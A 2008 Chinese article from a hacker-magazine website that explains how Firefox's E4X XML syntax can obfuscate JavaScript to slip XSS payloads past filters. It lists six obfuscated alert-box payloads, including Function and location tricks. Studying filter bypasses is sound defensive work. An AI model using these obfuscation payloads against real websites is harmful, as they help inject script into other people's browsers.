黑客防线,在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!

设为首页
收藏本站
联系我们
网站导航


黑客文章 - 脚本漏洞 - 浏览 - About E4X Hacking
About E4X Hacking
http://www.hacker.com.cn/ 2008-10-7 0:03:46 黑客防线
About E4X Hacking

针对xss漏洞利用真是成出不穷

看了Gareth Heyes的《E4X for hackers》,然后又回到以前没看完的这个贴《New XSS vectors/Unusual Javascript 》:(内容很丰富,大家慢慢翻阅了)。

通过使用E4X技术(ECMAScript for XML),可以混淆你的JS脚本,甚至bypass一些过滤规则。这里有简单的说明及实例,大家先了解一下。我主要说说我的一些测试结果:

E4X在FF浏览器下有效,IE系列与Google的浏览器都不支持。看下面这段脚本:

<script>
foo=<foo><id name="thx">x</id></foo>;
alert(foo.id);
</script>

直接在<script>标签内写xml,对于FF来说这是合法的,并不会报错(注意写规范)。这段脚本会弹出一个x值,这是通过foo.id这样方式来访问xml的文档结构并获取的。接着看如何获取name属性的值thx呢?

这样:alert(foo.id.@name); //我们弹出来,id可以省略,于是直接这样:alert(foo..@name); //注意这个@符号,用来访问标签节点内的属性节点。好的,既然在<script>内写规范的xml文档是合法的,那么能这样么?

alert(<foo>hi</foo>); //弹出hi。继续缩短代码?这样:alert(<>hi</>) //也弹出hi。

于是我们可以考虑将我们的脚本放到xml数据中。这样:x=<>alert('hello')</>(将整个xml数据赋值给x),然后获取这个xml数据,并eval出来:eval(x+[])。注意[]这个不可少:)。这些测试,都是在脚本内操作xml数据流。那么这个“内嵌”的xml数据里如何执行脚本表达式呢?比如:x=<>alert('hello')</>这个是没办法执行alert(),那么这样:x=<>{alert('hello')}</>就行了,即加个花括弧表示里面是我要执行的脚本,你要等我执行完了,再来操作我。

当然你进行上述操作时,可以先这样new XML()声明下,更规范些?

接着就是本文的重点了:混淆。比如这里还有这里给出的:

1、Function(<text>\u0061{new String}lert(0)</text>)()
2、Function(<text>aler{[]}t('cool')</text>)()
3、Function(<text><x y="a"></x><x y="lert"></x><x y="(123)"></x></text>..@y)()
4、location=XML(<x>java{[]}script:ale{[]}rt(/I am e4x/.source)</x>)
5、location=<text>javascr{new Array}ipt:aler{new Array}t(1)</text>
6、eval(<>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</>+[])

为什么这样可以?看1与2,花括弧{}内执行的是脚本表达式(我上面说了),new String返回空,[]也返回空(继续扩展?),那么alert就是一个完整的了,并且我们可以对其进行编码:16进制,10进制等。Function本身返回一个函数对象,最后的括弧()执行获取到的文本节点内容alert(),弹出。

看3,这个很猛,原理上面都介绍了,@y依次访问xml数据中的y属性节点,a,然后是lert,最后是(123),弹出。大家还可以这样测试下了:

x=<text><x y="a"></x><x y="lert"></x><x y="(123)"></x></text>..@y
alert(x,eval(x+[]))

先弹出123,然后再弹出alert(123)。

最后的4、5、6就没什么好介绍的了,很好理解。不过说下4,alert(/I am e4x/).source,不用双引号或单引号,这样也可以弹出I am e4x。当然这样也行:alert( String(/Test/).substr(1,4) );。当然还有更牛的方法。

所属分类: 脚本漏洞   所属专题:
共有 231 人次浏览 收藏本页 返回上一页
评论作者:
电子邮件:
评论内容:
投票评价:
验 证 码:
图片包含4个随机字符,点击刷新
请输入上面图片中的随机字符